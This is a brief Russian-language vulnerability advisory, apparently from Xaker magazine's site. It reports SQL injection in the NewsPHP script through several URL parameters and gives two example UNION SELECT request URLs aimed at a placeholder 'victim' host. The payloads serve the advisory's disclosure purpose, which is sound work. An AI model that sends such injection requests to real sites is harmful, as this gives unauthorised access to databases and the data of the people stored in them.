SQL-инъекция в NewsPHP

Рекомендуем почитать:

Хакер #305. Многошаговые SQL-инъекции

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: NewsPHP, возможно более ранние версии

Уязвимость существует из-за недостаточной обработки входных данных в параметрах
"discuss", "tim", "id", "last" и "limit". Удаленный пользователь может с помощью
специально сформированного запроса выполнить произвольные SQL команды в базе
данных приложения.

Пример:

http://victim/ndex.php?id=-99 union select null,null,null,null,
null,null,null,null,null from newsphp.pro/*
http://victim/index.php?tim=-1 union select null,null,null,null,
null,null,null,null,null from newsphp.pro/*